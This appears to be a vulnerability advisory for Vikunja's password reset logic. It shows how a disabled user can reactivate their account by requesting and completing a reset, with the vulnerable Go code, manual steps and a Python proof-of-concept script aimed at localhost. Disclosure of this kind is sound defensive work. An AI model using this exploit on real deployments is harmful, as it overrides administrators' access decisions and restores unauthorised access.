Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/user_password_reset.go, beginning at line 66:

	// Hash the password
	user.Password, err = HashPassword(reset.NewPassword)
	if err != nil {
		return
	}

	err = removeTokens(s, user, TokenPasswordReset)
	if err != nil {
		return
	}

	user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
	_, err = s.
		Cols("password", "status").
		Where("id = ?", user.ID).
		Update(user)
	if err != nil {
		return
	}

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a standard user account in Vikunja.
2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2).
3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled).
4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address.
5. Retrieve the password reset token from the incoming email.
6. Send a POST request to /api/v1/user/password/reset with the token and a new password.
7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.

Automation PoC

import requests
import psycopg2
import time
import secrets

API_URL = "http://localhost:3456/api/v1"

def main():
    username = f"testuser_{secrets.token_hex(4)}"
    email = f"{username}@example.com"
    password = "SuperSecretPassword123!"
    
    print("[1] Registering user...")
    requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})
    
    print("[2] Admin disables account (Status = 2)...")
    conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
    conn.commit()
    
    print("[3] Verifying login is blocked...")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
    print(f"Login response: {res.status_code} (Should be 412)")
    
    print("[4] Attacker requests password reset...")
    requests.post(f"{API_URL}/user/password/token", json={"email": email})
    
    print("[5] Attacker grabs token from email/DB...")
    cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
    user_id = cursor.fetchone()[0]
    cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
    token = cursor.fetchone()[0]
    
    print("[6] Attacker submits reset, triggering bug...")
    new_password = "HackedPassword123!"
    requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})
    
    print("[7] Attacker logs in successfully!")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
    print(f"Final Login response: {res.status_code} (Should be 200)")

    cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
    print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
    conn.close()

if __name__ == "__main__":
    main()

Impact

• Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
• Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.